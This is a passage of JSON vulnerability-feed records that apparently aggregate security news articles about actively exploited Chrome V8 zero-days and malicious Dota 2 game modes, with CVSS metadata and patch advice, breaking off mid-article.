{"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-10T04:14:00", "type": "thn", "title": "New Chrome 0-Day Bug Under Active Attacks \u2013 Update Your Browser ASAP!", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-33742"], "modified": "2021-06-10T10:25:50", "id": "THN:7D7C05739ECD847B8CDEEAF930C51BF8", "href": "https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-14T06:13:19", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiZ5EqGS9M-uWz6i8kYOjBKdLpSXrkKSk6QNM-jbWSUnjAa0fMoI-9Jo9UWv4Hhrt7PKl1E8_KhYdxQu-1EEKyXUbalRCjNiUSmVYb7Y3OwGbHb3GCieFJCSGkvxMOMWSIhqWGTQcRRSHSiPgQLQKDXfl03fJ53evbWAIGV2FbKx7UTCAUWvp2MDL9a/s728-e365/dota2.png>)\n\nAn unknown threat actor created malicious game modes for the Dota 2 multiplayer online battle arena (MOBA) video game that could have been exploited to establish backdoor access to players' systems.\n\nThe modes exploited a [high-severity flaw](<https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/>) in the V8 JavaScript engine tracked as [CVE-2021-38003](<https://nvd.nist.gov/vuln/detail/CVE-2021-38003>) (CVSS score: 8.8), which was [exploited as a zero-day](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) and addressed by Google in October 2021.\n\n\"Since V8 was not sandboxed in Dota, the exploit on its own allowed for remote code execution against other Dota players,\" Avast researcher Jan Vojt\u011b\u0161ek [said](<https://decoded.avast.io/janvojtesek/dota-2-under-attack-how-a-v8-bug-was-exploited-in-the-game/>) in a report published last week.\n\nFollowing responsible disclosure to Valve, the game publisher [shipped fixes](<https://www.dota2.com/news/updates>) on January 12, 2023, by upgrading the version of V8.\n\nGame modes are essentially [custom capabilities](<https://dota2.fandom.com/wiki/Game_modes>) that can either augment an existing title or offer completely new gameplay in a manner that deviates from the standard rules.\n\nWhile publishing a custom game mode to the Steam store includes a vetting process from Valve, the malicious game modes discovered by the antivirus vendor managed to slip through the cracks.\n\nThese game modes, which have since been taken down, are \"test addon plz ignore,\" \"Overdog no annoying heroes,\" \"Custom Hero Brawl,\" and \"Overthrow RTZ Edition X10 XP.\" The threat actor is also said to have published a fifth game mode named \"Brawl in Petah Tiqwa\" that did not pack any rogue code.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhk3nBsPsMeqEwHfBlV_VBFgxDava3pfbAj25xlNU2UzOMa2p_qpJ6SImA8vlYA4g3fN4YuTntn090Y-CDI__zAaCoQtFtVW5SK52TsuN9yIS28b29zxkY6nsXRjc4VQ8-iERrdW1FuyR84ZBLfb83hgphi_Am3cYDqKqttn3TXw5-ckFZgu3kakylk/s728-e365/hack.png>)\n\nEmbedded inside \"test addon plz ignore\" is an exploit for the V8 flaw that could be weaponized to execute custom shellcode.\n\nThe three others, on the other hand, take a more covert approach in that the malicious code is designed to reach out to a remote server to fetch a JavaScript payload, which is also likely to be an exploit for CVE-2021-38003 since the server is no longer reachable.\n\nIn a hypothetical attack scenario, a player launching one of the above game modes could be targeted by the threat actor to achieve remote access to the infected host and deploy additional malware for further exploitation.\n\nIt's not immediately known what the developer's end goals were behind creating the game modes, but they are unlikely to be for benign research purposes, Avast noted.\n\n\"First, the attacker did not report the vulnerability to Valve (which would generally be considered a nice thing to do),\" Vojt\u011b\u0161ek said. \"Second, the attacker tried to hide the exploit in a stealthy backdoor.\"\n\n\"Regardless, it's also possible that the attacker didn't have purely malicious intentions either, since such an attacker could arguably abuse this vulnerability with a much larger impact.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-02-13T15:31:00", "type": "thn", "title": "Hackers Create Malicious Dota 2 Game Modes to Secretly Access Players' Systems", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2023-02-14T04:20:31", "id": "THN:5DCF4FF1D8F641348F799D406F8DB1F1", "href": "https://thehackernews.com/2023/02/hackers-create-malicious-dota-2-game.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:08", "description": "[](<https://thehackernews.com/images/-qsKUPh_-GYc/YBz2LhQRcgI/AAAAAAAABsU/xp30FnHWlk4M9WwbgZRSXy28jldlk3R2wCLcBGAsYHQ/s0/chrome-zero-day-vulnerability.jpg>)\n\nGoogle has patched a zero-day vulnerability in Chrome web browser for desktop that it says is being actively exploited in the wild.\n\nThe company released [88.0.4324.150](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>) for Windows, Mac, and Linux, with a fix for a heap buffer overflow flaw (CVE-2021-21148) in its V8 JavaScript rendering engine.\n\n\"Google is aware of reports that an exploit for CVE-2021-21148 exists in the wild,\" the company said in a statement.\n\nThe security flaw was reported to Google by Mattias Buelens on January 24.\n\nPreviously on February 2, Google [addressed six issues in Chrome](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop.html>), including one critical use after free vulnerability in Payments (CVE-2021-21142) and four high severity flaws in Extensions, Tab Groups, Fonts, and Navigation features.\n\nWhile it's typical of Google to limit details of the vulnerability until a majority of users are updated with the fix, the development comes weeks after Google and Microsoft [disclosed](<https://thehackernews.com/2021/01/n-korean-hackers-targeting-security.html>) attacks carried out by North Korean hackers against security researchers with an elaborate social engineering campaign to install a Windows backdoor.\n\nWith some researchers infected simply by visiting a fake research blog on fully patched systems running Windows 10 and Chrome browser, Microsoft, in a report published on January 28, had hinted that the attackers likely leveraged a Chrome zero-day to compromise the systems.\n\nAlthough it's not immediately clear if CVE-2021-21148 was used in these attacks, the timing of the revelations and the fact that Google's advisory came out exactly one day after Buelens reported the issue implies they could be related.\n\nIn a separate technical write-up, South Korean cybersecurity firm ENKI [said](<https://enki.co.kr/blog/2021/02/04/ie_0day.html>) the North Korean state-sponsored hacking group known as Lazarus made an unsuccessful attempt at targeting its security researchers with malicious MHTML files that, when opened, downloaded two payloads from a remote server, one of which contained a zero-day against Internet Explorer.\n\n\"The secondary payload contains the attack code that attacks the vulnerability of the Internet Explorer browser,\" ENKI researchers said.\n\nIt's worth noting that Google last year [fixed five Chrome zero-days](<https://thehackernews.com/2020/11/two-new-chrome-0-days-under-active.html>) that were actively exploited in the wild in a span of one month between October 20 and November 12.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-02-05T07:40:00", "type": "thn", "title": "New Chrome Browser 0-day Under Active Attack\u2014Update Immediately!", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21142", "CVE-2021-21148"], "modified": "2021-02-06T07:03:40", "id": "THN:2E0F12E8B4294632DF7D326E9360976B", "href": "https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-QHv1N-h4fZY/YD8letBQzWI/AAAAAAAAB64/E1KslMnXt0oEcr7e27y2idTnPPl_nm3VQCLcBGAsYHQ/s0/chrome-hacking.jpg>)\n\nExactly a month after [patching](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) an actively exploited zero-day flaw in Chrome, Google today rolled out fixes for yet another zero-day vulnerability in the world's most popular web browser that it says is being abused in the wild.\n\nChrome 89.0.4389.72, released by the search giant for Windows, Mac, and Linux on Tuesday, comes with a total of 47 security fixes, the most severe of which concerns an \"object lifecycle issue in audio.\"\n\nTracked as CVE-2021-21166, the security flaw is one of the two bugs reported last month by Alison Huffman of Microsoft Browser Vulnerability Research on February 11. A separate object lifecycle flaw, also identified in the audio component, was reported to Google on February 4, the same day the stable version of Chrome 88 became available.\n\nWith no additional details, it's not immediately clear if the two security shortcomings are related.\n\n[](<https://thehackernews.com/images/--VPerofAuok/YD8mK08wMrI/AAAAAAAAB7I/VkM_Pg08vFQEvCxV3HbTbaDEd1HRja87QCLcBGAsYHQ/s0/hacking.jpg>)\n\nGoogle acknowledged that an exploit for the vulnerability exists in the wild but stopped short of sharing more specifics to allow a majority of users to install the fixes and prevent other threat actors from creating exploits targeting this zero-day.\n\n\"Google is aware of reports that an exploit for CVE-2021-21166 exists in the wild,\" Chrome Technical Program Manager Prudhvikumar Bommana [said](<https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop.html>).\n\nThis is the second zero-day flaw in Chrome that Google has addressed since the start of the year.\n\nOn February 4, the company [issued a fix](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) for an actively-exploited heap buffer overflow flaw (CVE-2021-21148) in its V8 JavaScript rendering engine. Additionally, Google last year [resolved five Chrome zero-days](<https://thehackernews.com/2020/11/two-new-chrome-0-days-under-active.html>) that were actively exploited in the wild in a span of one month between October 20 and November 12.\n\nChrome users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-03T06:03:00", "type": "thn", "title": "New Chrome 0-day Bug Under Active Attacks \u2013 Update Your Browser ASAP!", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166"], "modified": "2021-03-13T02:55:42", "id": "THN:EF50BA60FF5E3EF9AF1570FF5A2589A0", "href": "https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:56", "description": "[](<https://thehackernews.com/images/-F1yuaWSy7gY/YMwPdaXQ2DI/AAAAAAAAC6A/mimpmywKfJIUJoPg7HuGaeY4E1nZogbKQCLcBGAsYHQ/s0/chrome-update.jpg>)\n\nGoogle has rolled out yet another update to Chrome browser for Windows, Mac, and Linux to fix four security vulnerabilities, including one zero-day flaw that's being exploited in the wild.\n\nTracked as **CVE-2021-30554**, the high severity flaw concerns a [use after free vulnerability](<https://cwe.mitre.org/data/definitions/416.html>) in WebGL (aka Web Graphics Library), a JavaScript API for rendering interactive 2D and 3D graphics within the browser.\n\nSuccessful exploitation of the flaw could mean corruption of valid data, leading to a crash, and even execution of unauthorized code or commands.\n\nThe issue was reported to Google anonymously on June 15, Chrome technical program manager Srinivas Sista [noted](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_17.html>), adding the company is \"aware that an exploit for CVE-2021-30554 exists in the wild.\"\n\n[](<https://thehackernews.com/images/-ZBYemfi9DNk/YMwOkeK_woI/AAAAAAAAC54/vEnl5bwj7bEa33jqkIiw-8fKTpRk0l-FQCLcBGAsYHQ/s0/hacker.jpg>)\n\nWhile it's usually the norm to limit details of the vulnerability until a majority of users are updated with the fix, the development comes less than 10 days after Google addressed another zero-day vulnerability exploited in active attacks ([CVE-2021-30551](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>)).\n\nCVE-2021-30554 is also the eighth zero-day flaw patched by Google since the start of the year.\n\n\"I'm happy we are getting better at detecting these exploits and the great partnerships we have to get the vulnerabilities patched, but I remain concerned about how many are being discovered on an ongoing basis and the role of commercial providers,\" [tweeted](<https://twitter.com/ShaneHuntley/status/1402320073818132483>) Shane Huntley, Director of Google's Threat Analysis Group, on June 8.\n\nChrome users are recommended to update to the latest version (91.0.4472.114) by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-18T03:16:00", "type": "thn", "title": "Update\u200c \u200cYour Chrome Browser to Patch Yet Another 0-Day Exploit\u200ced \u200cin\u200c-the\u200c-Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551", "CVE-2021-30554"], "modified": "2021-06-18T03:33:11", "id": "THN:62ECC5B73032124D6559355B66E1C469", "href": "https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2021-09-14T18:35:22", "description": "Google _[announced](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>)_ on Monday that it will be issuing patches for 11 high severity vulnerabilities found in Chrome, including two that are currently being exploited in the wild. The patch, which is part of the Stable Channel Update for Chrome 93 (93.0.4577.82), will be released for Windows, Mac, and Linux (if it hasn\u2019t already). Chrome users are expected to see the roll out in the coming days and weeks.\n\nReaders should note that other popular browsers such as Brave and Edge are also Chromium-based and therefore likely to be vulnerable to these flaws too. Keep an eye out for updates.\n\nYou can check what version of Chrome you are running by opening About Google Chrome from the main menu.\n\nThe About Google Chrome screen tells you what version you are running and whether it is up to date\n\n### The vulnerabilities\n\nThe fixes address high severity vulnerabilities reported to Google by independent researchers from as early as August of this year. That said, the company has included names of the researchers who found the flaws in their announcement.\n\nThe two vulnerabilities that are being actively exploited\u2014namely, [CVE-2021-30632](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30632>) and [CVE-2021-30633](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30633>)\u2014were submitted anonymously. The former is an "Out of bounds write" flaw in the V8 JavaScript engine and the latter is a "Use after free" bug in the Indexed DB API.\n\nBecause threat actors are currently exploiting the two aforementioned vulnerabilities, Google provides little to no information on how the attacks against these weaknesses are being carried out, or other precautionary measures users should be looking out for. Per Google:\n\n> Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed.\n\n### V8, the thorn in Chrome's side?\n\nNobody will be surprised to see that one of the in-the-wild exploits affects Chrome's V8 engine. \n\nAt the heart of every modern web browser sits a JavaScript interpreter, a component that does much of the heavy lifting for interactive web apps. In Chrome, that interpreter is V8. These components need to accommodate frequent updates and adhere to a bewildering array of web standards, while also being both fast and secure.\n\nChrome's [V8](<https://v8.dev/>) JavaScript engine has been a significant source of security problems. So significant in fact, that in August Microsoft\u2014whose Edge browser is based on Chrome\u2014announced an experimental project called [Super Duper Secure Mode](<https://blog.malwarebytes.com/reports/2021/08/edges-super-duper-secure-mode-benchmarked-how-much-speed-would-you-trade-for-security/>) that aims to tackle the rash of V8 problems by simply turning an important part of it off.\n\nA little under half of the CVEs issued for V8 relate to its Just-in-Time (JIT) compiler, and more than half of all \u2018in-the-wild\u2019 Chrome exploits abuse JIT bugs. Just-in-time compilation is an important performance feature and turning it off is a direct trade of speed for security. How much? According our quick-and-dirty testing, turning off the JIT compiler makes JavaScript execution twice as slow in Edge.\n\n### 11 zero-days and counting\n\nTo date, the Google Chrome team has patched 11 zero-day vulnerabilities in 2021. Previous patches are from the following vulnerabilities, some of which we have covered here in the Malwarebytes Labs blog:\n\n * [_CVE-2021-21148_](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/02/update-now-chrome-patches-zero-day-that-was-exploited-in-the-wild/>)\n * [_CVE-2021-21166_](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/update-now-chrome-fix-patches-in-the-wild-zero-day/>)\n * CVE-2021-21193\n * [_CVE-2021-21206_](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/04/update-now-chrome-needs-patching-against-two-in-the-wild-exploits/>)\n * [_CVE-2021-21220_](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/04/update-now-chrome-needs-patching-against-two-in-the-wild-exploits/>)\n * CVE-2021-21224\n * CVE-2021-30551\n * CVE-2021-30554\n * CVE-2021-30563\n\nWith so much bad PR, you might expect Chrome's market share to suffer; yet, it remains by far the most popular browser. Users\u2014and the Google Chrome brand\u2014seem unaffected.\n\nMake sure you update your Chrome or Chromium-based browser once you see the patch available, or better still, make sure your browser is set to [update itself](<https://support.google.com/chrome/answer/95414?hl=en-GB&co=GENIE.Platform%3DDesktop#:~:text=Go%20to%20'About%20Google%20Chrome,Chrome%20to%20apply%20the%20update.>).\n\nStay safe!\n\nThe post [Update now! Google Chrome fixes two in-the-wild zero-days](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-google-chrome-fixes-two-in-the-wild-zero-days/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-14T16:28:47", "type": "malwarebytes", "title": "Update now! Google Chrome fixes two in-the-wild zero-days", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633"], "modified": "2021-09-14T16:28:47", "id": "MALWAREBYTES:390E663F11CA04293C83488A40CB3A8A", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-google-chrome-fixes-two-in-the-wild-zero-days/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-12T13:10:41", "description": "A Chrome patch has been issued with an advisory stating that the Stable channel has been updated to 88.0.4324.150 for Windows, Mac and Linux. The only noteworthy thing about this update is a patch for a zero-day vulnerability that has been actively exploited in the wild. But that one looks to be extremely important.\n\n### Which zero-day got patched?\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). This zero-day got listed as [CVE-2021-21148](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-21148>). From the [update announcement](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>) for this Chrome patch we can learn that the patch counters a heap buffer overflow in the V8 JavaScript engine, reported by Mattias Buelens on January 24, 2021.\n\n### What is a heap buffer overflow?\n\nHeap is the name for a region of a process\u2019 memory which is used to store dynamic variables. A buffer overflow is a type of software vulnerability that exists when an area of memory within a software application reaches its address boundary and writes into an adjacent memory region. In software exploit code, two common areas that are targeted for overflows are the stack and the heap.\n\nSo, by creating a specially crafted input, attackers could use this vulnerability to write code into a memory location where they normally wouldn\u2019t have access. Having this attack vector available as a zero-day in a popular browser is a golden opportunity for a watering hole.\n\nWatering holes are used as a targeted attack strategy. The attackers infect a website where they know their intended victim(s) will visit, or lure them to a site of their own making. Depending on the nature of the infection, the attackers can single out their intended target(s) or just infect anyone that visits the site unprotected. The watering hole strategy is a mix of social engineering, hacking, and drive-by infections that requires a high level of knowledge and a well-thought-out strategy.\n\n### How was this vulnerability used in the wild?\n\nBased on the timing of the discovery (January 24) and [this report](<https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/>) by Google\u2019s Threat Analysis Group (TAG) issued on January 26, the general assumption is that the attack was used against security researchers working on vulnerability research and development at different companies and organizations. To connect and gain trust among security researchers, the actors created a research blog and multiple Twitter profiles to interact with potential targets.\n\nOne of the methods the attackers used was to interact with the researchers and get them to follow a link on Twitter to a write-up hosted on a malicious website. Shortly after the visit, a malicious service was installed on the researcher\u2019s system and an in-memory backdoor would begin to communicate with a [command and control (C&C)](<https://blog.malwarebytes.com/glossary/cc/>) server. This sure sounds like something that could be accomplished using a heap buffer overflow in a browser.\n\n### The update\n\nDespite its discovery, this exploit remains useful to cybercriminals. We advise everyone to update and get the latest version of Chrome as soon as possible. \n\nThe easiest way to do it is to allow Chrome to update automatically, which basically uses the same method as outlined below but does not require your attention. But you can end up lagging behind if you never close the browser or if something goes wrong, such as an extension stopping you from updating the browser. \n\nSo, it doesn\u2019t hurt to check now and then. And now would be a good time, given the zero-day vulnerability. My preferred method is to have Chrome open the page [chrome://settings/help](<https://settings/help>) which you can also find by clicking **Settings > About Chrome**.\n\nIf there is an update available, Chrome will notify you and start downloading it. Then it will tell you all you have to do to complete the update is **Relaunch **the browser.\n\n_After the update your version should be at 88.0.4324.150 or later_\n\nStay safe, everyone!\n\nThe post [Update now! Chrome patches zero-day that was exploited in the wild](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/02/update-now-chrome-patches-zero-day-that-was-exploited-in-the-wild/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-05T12:14:04", "type": "malwarebytes", "title": "Update now! Chrome patches zero-day that was exploited in the wild", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-05T12:14:04", "id": "MALWAREBYTES:AC714CB24C401F36B220E29C6D2B049F", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/02/update-now-chrome-patches-zero-day-that-was-exploited-in-the-wild/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-30T15:40:03", "description": "Google has [urged](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>) its 3 billion+ users to update to Chrome version 99.0.4844.84 for Mac, Windows, and Linux to mitigate a zero-day that is currently being exploited in the wild. This is in response to a bug reported by an anonymous security researcher last week.\n\nThe flaw, which is tracked as [CVE-2022-1096](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1096>), is a "Type Confusion in V8" and is rated as high severity, meaning that it's necessary for everyone using Chrome to update as quickly as possible because of the damage attackers could cause once they exploit this.\n\nNot much is known about the vulnerability itself or how great the impact would be if exploited, but the unusual release of this patch, which notably addresses just one vulnerability, means that this update shouldn't be ignored.\n\nGoogle is always cautious to release more details until the majority of users are updated with a fix. Google says it [may take weeks](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>) before the update reaches its entire user base.\n\n## How to update\n\nThe easiest way to update is to allow Chrome to do it automatically, which basically uses the same method I outlined below but does not require your attention. But you can end up lagging behind if you never close the browser or if something goes wrong, such as an extension stopping you from updating the browser.\n\nSo, it doesn\u2019t hurt to check now and then. And now would be a good time.\n\nMy preferred 